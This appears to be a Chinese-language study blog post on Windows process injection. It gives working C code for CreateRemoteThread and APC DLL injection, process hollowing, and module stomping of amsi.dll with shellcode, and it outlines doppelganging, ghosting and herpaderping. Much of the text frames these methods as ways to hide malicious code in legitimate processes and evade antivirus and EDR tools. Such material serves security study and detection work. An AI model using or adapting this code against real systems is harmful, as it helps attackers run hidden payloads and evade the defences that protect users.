学习一些基础的windows注入方式
代码仓库
https://github.com/0range-x/windows/tree/main/injection
CreateRemoteThread
原理:
大多数Windows函数只允许一个进程对它自己操作,用来防止一个进程破坏另一个进程。但是,Windows提供了一些函数来让一个进程对另一个进程操作。
使用CreateRemoteThread 函数在其他进程空间中创建一个线程。
首先,程序在加载dll时,通常调用LoadLibrary 函数来实现dll的动态加载,loadlibrary只有一个参数,传递的是需要加载的dll路径字符串。
程序首先获取目标进程空间某个dll字符串的地址,将loadlibrary函数的地址作为多线程函数的地址,某个dll字符串作为多线程函数的参数,并传递给CreateRemoteThread函数在目标进程空间创建一个多线程
实现思路
1 2 3 4 5 6
| 1.获取被注入进程PID。 2.在注入进程的访问令牌中开启SE_DEBUG_NAME权限。 3.使用openOpenProcess()函数获取被注入进程句柄。 4.使用VirtualAllocEx()函数在被注入进程内开辟缓冲区并使用WriteProcessMemory()函数写入DLL路径的字符串。 5.使用GetProcAddress()函数在当前进程加载的kernel32.dll找到LoadLibraryA函数的地址。 6.通过CreateRemoteThread()函数来调用LoadLibraryA()函数,在被注入进程新启动一个线程,使得被注入进程进程加载恶意的DLL。
|
获取进程pid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| DWORD GetProcessIdByName(LPCTSTR lpszProcessName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return 0; }
PROCESSENTRY32 pe; pe.dwSize = sizeof pe;
if (Process32First(hSnapshot, &pe)) { do { if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0) { CloseHandle(hSnapshot); return pe.th32ProcessID; } } while (Process32Next(hSnapshot, &pe)); }
CloseHandle(hSnapshot); return 0; }
|
1 2 3 4 5 6 7 8 9
| int main() { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetProcessIdByName((LPCTSTR)"fg.exe")); LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL); LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0); return 0; }
|
apc注入
原理:
apc为异步过程调用,指函数在指定线程中被异步执行。在Windows系统中,每个线程都会维护一个线程apc队列,通过QueryUserApc 把一个apc函数田家达奥指定线程的apc队列中。每个线程都有自己的apc队列,这个apc队列记录了要求线程执行的一些apc函数。
一个进程包含多个线程,为了确保能够执行插入的apc,应该向目标进程的所有线程都插入相同的apc,实现加载dll的操作。这样,只要唤醒进程中的任意线程,开始执行apc的时候,便会执行插入的apc函数,实现dll注入
步骤:
可以看到需要找到目标线程,那么我们肯定是需要获取线程id,而在这之前需要先获取进程id,之后和远程线程注入的区别就在于 使用apc函数注入
获取线程id
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| BOOL GetAllThreadIdByProcessId(DWORD dwProcessId){ DWORD dwBufferLength = 1000; THREADENTRY32 te32 = { 0 }; HANDLE hSnapshot = NULL; BOOL bRet = TRUE; RtlZeroMemory(&te32, sizeof(te32)); te32.dwSize = sizeof(te32); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
bRet = Thread32First(hSnapshot, &te32); while (bRet){ if (te32.th32OwnerProcessID == dwProcessId){ return te32.th32ThreadID; } bRet = Thread32Next(hSnapshot, &te32); } return 0; }
|
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| int main(int argc, char* argv) { FARPROC pLoadLibrary = NULL; HANDLE hThread = NULL; HANDLE hProcess = 0; DWORD dwTID = 0; DWORD dwPID = 0; BYTE dllname[] = "C:\\users\\hack\\desktop\\test\\Dll.dll"; LPVOID lpAddr = NULL; dwPID = GetProcessIdByName((LPCTSTR)"fg.exe"); hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwPID); if (hProcess == NULL) { printf("[-] Failed to OpenProcess. Error: %d", GetLastError()); return -1; } pLoadLibrary = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if (pLoadLibrary == NULL) { printf("[-] Failed to GetProcAddress. Error: %d", GetLastError()); return -1; } lpAddr = VirtualAllocEx(hProcess, 0, sizeof(dllname) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { printf("[-] Failed to VirtualAllocEx. Error: %d", GetLastError()); return -1; } if (!WriteProcessMemory(hProcess, lpAddr, dllname, sizeof(dllname) + 1, NULL)) { printf("[-]Failed to WriteProcessMemory. Error: %d", GetLastError()); return -1; } dwTID = GetAllThreadIdByProcessId(dwPID); hThread = OpenThread(THREAD_ALL_ACCESS, TRUE, dwTID); if (hThread == NULL) { printf("[-] Failed to OpenThread. Error: %d", GetLastError()); return -1; } QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)lpAddr); printf("[+] Inject successfully.\n"); CloseHandle(hProcess); CloseHandle(hThread); return 0; }
|
错误总结:
1 2
| 1.分配内存时 VirtualAllocEx 的第4个参数 只能用MEM_COMMIT,表示当前内存正在被使用 ,不能使用MEM_RELEASE 2.测试失败,调试了很久,每一步都没报错,就是没有办法弹窗,在Win10 和win7 测试
|
Reflective 注入
关键在于reflectiveloader
原理:
不依赖于Windows提供的loadlibrary 函数,设计者自己在程序内实现pe的内存展开,由于是自己实现,所以不会在操作系统中有记录。以及可以对展开的pe文件做一些处理,比如抹除dos头,同时不会再peb的ldr链表中记录。
步骤实现
1 2 3 4 5
| 1.获取被注入进程为解析的dll的及地址 2.获得dll句柄和函数为修复导入表做准备 3.分配一块新内存去解析dll,并把pe头复制到新内存中和将各节复制到新内存中 4.修复重定向表和导入表 5.执行dllmain函数
|
在反射dll时,我们需要将dll的所有依赖库加载到当前进程中,并修复IAT以确保dll导入的函数指向当前进程内存空间的正确函数地址。为了加载依赖库,需要遍历所有的 Import Descriptor 。
在读取并加载相应的库之后,我们需要遍历所有thunk,使用GetProcAddress
解析他们的地址并将他们放入IAT中,以便dll可以在需要时引用他们。
在这之后,IAT修复完毕,可以执行dll了。
tips:
1 2
| DWORD_PTR 这个类型可以放下一个DWORD类型 并且放下一个指针,在64位的环境下混用很可能造成程序越界崩溃 *_ptr 是在64位的新类型用来代替32位下的DWORD
|
代码
https://github.com/0range-x/windows/blob/main/injection/reflective.cpp
API Hook
Inline Hook覆盖代码 -修改函数代码
可以看到这里代码有一点麻烦,相比较IAT hook,需要去看硬编码,但是如果函数不是以 LoadLibrary
加载,就不会出现在导入表里,IAT hook就无法使用,只能使用InLine hook
以messageboxA为例
1 2 3 4 5 6 7
| 1.获取MessageBoxA 函数的内存地址 2.读取MessageBoxA的前6个字节 3.创建一个hook函数 在被hook函数执行的时候执行 4.获取hook函数的内存地址 5.patch 被hook函数,重定向到hook函数 6.调用被hook函数 7.执行hook函数
|
messageboxA的地址76E60570
代码仓库:
https://github.com/0range-x/windows/blob/main/injection/jmphook.cpp
IAT hook -修改函数地址
其中IAT hook前后的区别
hook前
1 2 3
| 1.调用messageBoxA函数 2.程序在IAT中查找MessageBoxA的地址 3.代码执行跳转到第二步解析的地址
|
hook后
1 2 3 4 5 6
| 1.像hook之前一样调用MessageBoxA 2.在IAT中查找MessageBoxA的地址 3.因为IAT被修改,IAT中MessageBoxA的地址指向了hookedMessagebox函数地址 4.程序跳转到hookedMessagebox 5.hookedmessagebox 函数拦截MessageBoxA参数并执行一些恶意代码 6.hookedMessageBox 调用合法的MessageBoxA例程
|
说明:
IAT hook通常由诸如目标进程的dll执行,为了简便,在下面的例子中,IAT hook 是在本地进程实现的
IAT hook大致步骤:
1 2 3 4 5
| 1.保存原来的MessageBoxA内存地址 2.定义MessageBoxA函数原型 3.使用上述原型创建一个HookedMessagebox函数 4.解析IAT表,直到找到MessageBoxA的地址 5.用hookedMessagebox的地址替换MessageBoxA的地址
|
IATHook
https://github.com/0range-x/windows/blob/main/injection/IAThook.cpp
hollowing
进程镂空,又叫傀儡进程,是一种防御规避的进程注入技术,主要思想是写在合法进程的内存,写入恶意软件的代码,伪装成合法进程进行恶意活动。
看到有些文章说需要取消生成重定位表,但是我这里没有取消,也是可以正常镂空注入成功的,是因为在使用VirtualAllocEx
申请内存空间是,将傀儡进程的ImageBaseAddress
作为申请空间的首地址,这样就避免了重定位的问题。
peb偏移8个字节处, 这个进程的装载地址,就是pe可选头里的imagebase
两种方式:
1 2
| 1.镂空已有进程模块:直接修改进程中已有模块的代码节,注入恶意代码 2.先注入后镂空:注入一个合法dll(拥有合法签名),然后修改dll入口点出代码为自己想执行的代码
|
process hollowing
可以看到进程中是没有fg.exe这一项的,比较隐蔽
大致流程
1 2 3 4 5 6
| 1.创建一个挂起的合法进程(CreateProcess CREATE_SUSPENDED) 2.清空新进程的内存数据(NtUnmapViewofSection) 3.申请新的内存(VirtualAllocEx) 4.向内存中写入shellcode(WriteProcessMemory) 5.设置入口点(SetThreadContext) 6.恢复进程执行shellcode(ResumeThread)
|
实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
BOOL hollowing(char path[]) {
PVOID FileBuffer; HANDLE hFile; DWORD FileReadSize; DWORD dwFileSize;
PVOID RemoteImageBase; PVOID RemoteProcessMemory;
STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; si.cb = sizeof(si); BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
hFile = CreateFileA(path, GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); dwFileSize = GetFileSize(hFile, NULL); FileBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ReadFile(hFile, FileBuffer, dwFileSize, &FileReadSize, NULL); CloseHandle(hFile);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)FileBuffer; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((LPBYTE)FileBuffer + pDosHeader->e_lfanew); PIMAGE_FILE_HEADER pPEHeader = (PIMAGE_FILE_HEADER)(((DWORD)pNtHeader) + 4); PIMAGE_OPTIONAL_HEADER32 pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader + IMAGE_SIZEOF_FILE_HEADER); PIMAGE_SECTION_HEADER pSectionHeader;
GetThreadContext(pi.hThread, &ctx);
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"); if ((SIZE_T)RemoteImageBase == pNtHeader->OptionalHeader.ImageBase) NtUnmapViewOfSection(pi.hProcess, RemoteImageBase);
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pOptionHeader->ImageBase, pOptionHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileBuffer, pOptionHeader->SizeOfHeaders, NULL);
for (int i = 0; i < pPEHeader->NumberOfSections; i++) { pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)FileBuffer + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + i * sizeof(IMAGE_SECTION_HEADER)); WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeader->VirtualAddress), (PVOID)((LPBYTE)FileBuffer + pSectionHeader->PointerToRawData), pSectionHeader->SizeOfRawData, NULL); }
ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pOptionHeader->AddressOfEntryPoint); WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pOptionHeader->ImageBase, sizeof(PVOID), NULL);
SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return TRUE; }
|
不足之处
1 2 3 4
| 1.Unmap 目标进程的exe模块,比较可疑,现在的杀软一般都会检测Unmap 2.如果没有Unmap,而是直接覆写程序,那么覆写地址的页属性就不是共享的,也很可疑 3.在内存中的pe映像与在硬盘中不同
|
规避流程
dll hollowing(Module Stomping)
先注入后镂空:注入一个合法dll(拥有合法签名),然后修改dll入口点出代码为自己想执行的代码
优点
1 2 3
| 1.不会分配RWX内存页面 2.不会更改dll在目标进程中的权限 3.shellcode被注入到合法的 Windows dll中
|
缺点
1 2
| ReadProcessMemory/WriteProcessMemory api调用通常是由调试器而不是正常程序使用。 可以只用NtMapViewOfSection 将shellcode注入远程进程,减少对WriteProcessMemory的调用
|
大致流程
1 2 3 4 5
| 1.远程注入一个系统dll 2.获取该模块在目标进程的虚拟地址 3.定位模块的入口点 4.修改入口点为shellcode的入口点 5.创建远程线程
|
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| DWORD GetProcessIdByName(LPCTSTR lpszProcessName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return 0; }
PROCESSENTRY32 pe; pe.dwSize = sizeof pe;
if (Process32First(hSnapshot, &pe)) { do { if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0) { CloseHandle(hSnapshot); return pe.th32ProcessID; } } while (Process32Next(hSnapshot, &pe)); }
CloseHandle(hSnapshot); return 0; }
void ModuleStomping(LPCTSTR lpszProcessName,unsigned char *shellcode) { char ModuleName[] = "C:\\windows\\system32\\amsi.dll"; HMODULE hModules[256] = {}; SIZE_T hModulesSize = sizeof(hModules); DWORD dwhModulesSizeNeeded = 0; DWORD dwmoduleNameSize = 0; SIZE_T hModulesCount = 0; char rModuleName[128] = {}; HMODULE rModule = NULL;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessIdByName(lpszProcessName)); LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, sizeof(ModuleName), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); WriteProcessMemory(hProcess, lpBuffer, (LPVOID)ModuleName, sizeof(ModuleName), NULL); PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); HANDLE dllThread = CreateRemoteThread(hProcess, NULL, 0, threadRoutine, lpBuffer, 0, NULL); WaitForSingleObject(dllThread, 1000);
EnumProcessModulesEx(hProcess, hModules, hModulesSize, &dwhModulesSizeNeeded, LIST_MODULES_ALL); hModulesCount = dwhModulesSizeNeeded / sizeof(HMODULE); for (size_t i = 0; i < hModulesCount; i++){ rModule = hModules[i]; GetModuleBaseNameA(hProcess, rModule, rModuleName, sizeof(rModuleName)); if (strcmp(rModuleName, "amsi.dll") == 0) break; }
DWORD headerBufferSize = 0x1000; LPVOID peHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
ReadProcessMemory(hProcess, rModule, peHeader, headerBufferSize, NULL);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)peHeader; PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)peHeader + pDosHeader->e_lfanew); LPVOID dllEntryPoint = (LPVOID)(pNTHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)rModule);
WriteProcessMemory(hProcess, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
CreateRemoteThread(hProcess, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL); CloseHandle(hProcess); CloseHandle(dllThread); }
|
实现效果
看下这个线程的地址,执行的是我们的shellcode
Process Doppelganging
该方法在2017年的bh上提出
优点
1
| 1.避免了特殊的内存操作,比如SuspendProcess 和 NtUnmapViewOfSection
|
简要流程
1 2 3 4 5 6 7 8
| 1.打开一个正常文件,创建一个transaction(NtCreateTransaction) 2.打开源程序句柄(CreateFileTransacted) 3.向源程序句柄写入shellcode(CreateFile,CreateFileMapping,MapViewOfFile,VirtualAlloc,memcpy,WriteFile) 4.根据此时的文件内容,创建一个section(NtCreateSection) 5.回滚到修改事务之前的状态,抹去一系列更改操作(RollbackTransaction) 6.通过刚刚创建的section,创建进程(NtCreateProcessEx) 7.准备参数到目标进程(跨进程) 8.创建初始线程(NtCreateThreadEx),之后唤醒线程(NtResumeThread)
|
在win10 复现失败
针对错误代码 c0000022
权限不足的问题,换一个 创建进程的api,CreateProcessInternalW
,该api并没有在kernel32中导出,因此需要自己实现
http://a-twisted-world.blogspot.com/2008/03/createprocessinternal-function.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #pragma once
#include <Windows.h>
BOOL (WINAPI *CreateProcessInternalW)(HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation, PHANDLE hNewToken );
BOOL load_kernel32_functions() { HMODULE hKernel32 = GetModuleHandleA("kernel32"); CreateProcessInternalW = (BOOL (WINAPI *)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION, PHANDLE)) GetProcAddress(hKernel32,"CreateProcessInternalW"); if (CreateProcessInternalW == NULL) return FALSE;
return TRUE; }
|
而使用此api替换NTcreateprocess 的方法,结合process hollowing,衍生出了transacted hollowing
先简单来说下NTFS,我们可以在transaction中创建一个文件,在commit transaction之前,对于其他进程来说,这个文件是不可见的,比如(AV、edr)所以写入shellcode是较为隐蔽的一种方式
Transacted Hollowing
https://www.malwarebytes.com/blog/news/2018/08/process-doppelganging-meets-process-hollowing_osiris
https://github.com/hasherezade/transacted_hollowing
大致流程
1 2 3 4 5 6 7 8
| 1.打开一个正常文件,创建一个transaction(NtCreateTransaction) 2.打开源程序句柄(CreateFileTransacted) 3.向源程序句柄写入shellcode(CreateFile,CreateFileMapping,MapViewOfFile,VirtualAlloc,memcpy,WriteFile) 4.根据此时的文件内容,创建一个section(NtCreateSection) 5.回滚到修改事务之前的状态,抹去一系列更改操作(RollbackTransaction) 6.通过刚刚创建的section,创建挂起进程(CreateProcessInternalW) 7.映射section到目标进程内存(NtMapViewOfSection) 返回shellcode在目标进程内存中的初始地址(sectionBaseAddress) 8.设置进程参数并修补远程进程的peb(NtQueryInformationProcess)
|
该方法结合了doppel的事物特性和 process hollowing,且通过api的替换修复了doppel中的权限不足的问题。
效果演示
创建的挂起进程为notepad.exe,指定payload为计算器,transaction file为 1.txt
Process Ghosting
https://www.elastic.co/cn/blog/process-ghosting-a-new-executable-image-tampering-attack
https://github.com/hasherezade/process_ghosting
在Windows中,如果映射可执行程序到内存中,那么可执行程序就不应该被修改,如果尝试修改返回错误。
这个限制针对已经映射到内存中的程序。 process ghosting利用了其中的设计缺陷,以Generic_read
和Generic_write
权限打开文件,对其设置删除标志,将shellcode写入到文件中,然后映射文件到内存中,最后删除这个文件。
实现步骤
1 2 3 4 5 6
| 1.打开文件 (NtOpenFile) 2.设置删除标志 (NtSetInformationFile FILE_DISPOSITION_INFORMATION.DeleteFile = true) 3.修改文件写入shellcode(NtWriteFile) 4.创建section(NtCreateSection) 5.关闭删除挂起句柄,删除文件(NtClose) 6.使用section创建一个进程(NtCreateProcess)
|
在Windows上删除文件有多种方法
1 2 3
| 1.在旧文件上创建一个新文件,并设置 FILE_SUPERSEDE 或 CREATE_ALWAYS flag 2.在创建文件时设置 FILE_DELETE_ON_CLOSE 或 FILE_FLAG_DELETE_ON_CLOSE flag 3.通过 NtSetInformationFile 调用FileDispositionInformation文件信息类时,将FILE_DISPOSITION_INFORMATION结构中的Deletefile设置为true
|
这里采用了第三种方法
这里会创建一个tmp文件,是一个检测点
修改进程参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| RtlCreateProcessParametersEx(&processParameters, &uTargetFile, &uDllPath, NULL, &uTargetFile, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED);
PVOID paramBuffer = processParameters; SIZE_T paramSize = processParameters->EnvironmentSize + processParameters->MaximumLength; status = NtAllocateVirtualMemory(hProcess, ¶mBuffer, 0, ¶mSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!NT_SUCCESS(status)) { perror("[-] Unable To Allocate Memory For Process Parameters...\n"); exit(-1); } printf("[+] Allocated Memory For Parameters %p\n", paramBuffer); status = NtWriteVirtualMemory(hProcess, processParameters, processParameters, processParameters->EnvironmentSize + processParameters->MaximumLength, NULL); PEB* remotePEB; remotePEB = (PEB*)pbi.PebBaseAddress; if (!WriteProcessMemory(hProcess, &remotePEB->ProcessParameters, &processParameters, sizeof(PVOID), NULL)) { perror("[-] Error Updating Process Parameters!!\n"); exit(-1); }
|
Ghostly Hollowing
和transacted hollowing类似,将创建进程那一部分
https://github.com/hasherezade/transacted_hollowing
大致步骤
1 2 3 4 5 6 7 8
| 1.打开文件 (NtOpenFile) 2.设置删除标志 (NtSetInformationFile FILE_DISPOSITION_INFORMATION.DeleteFile = true) 3.修改文件写入shellcode(NtWriteFile) 4.创建section(NtCreateSection) 5.关闭删除挂起句柄,删除文件(NtClose) 6.使用section创建一个进程(NtCreateProcess) 7.分配进程参数和环境变量(RtlCreateProcessParametersEx、NtAllocateVirtualMemory) 8.创建线程在进程中执行(NtCreateThread)
|
process Herpaderping
https://github.com/jxy-s/herpaderping
根据上图,可以看到该方法的大致流程
1 2 3 4 5 6 7
| 1.打开文件 (CreateFile) 2.向文件写入payload(WriteFile) 3.创建section映射到内存(NtCreateSection,SEC_IMAGE) 4.创建进程A(NtCreateProcessEx) 5.向第二步中的同一个文件写入任意内容比如字符串 6.关闭并保存文件为xx.tmp ,文件保存到磁盘,磁盘的内容是上一步写的字符串() 7.准备进程参数并创建线程()
|
该方法通过在映射到内存后修改磁盘上的内容来掩盖进程的目的,关键步骤是 向文件写入shellcode映射到内存后再修改磁盘上的文件。
计算器被写入目标文件
目标文件被映射到内存中,实际上映射的是上一步中的计算器
计算器通过tmp文件执行
参考文章:
https://github.com/hasherezade/process_doppelganging
https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations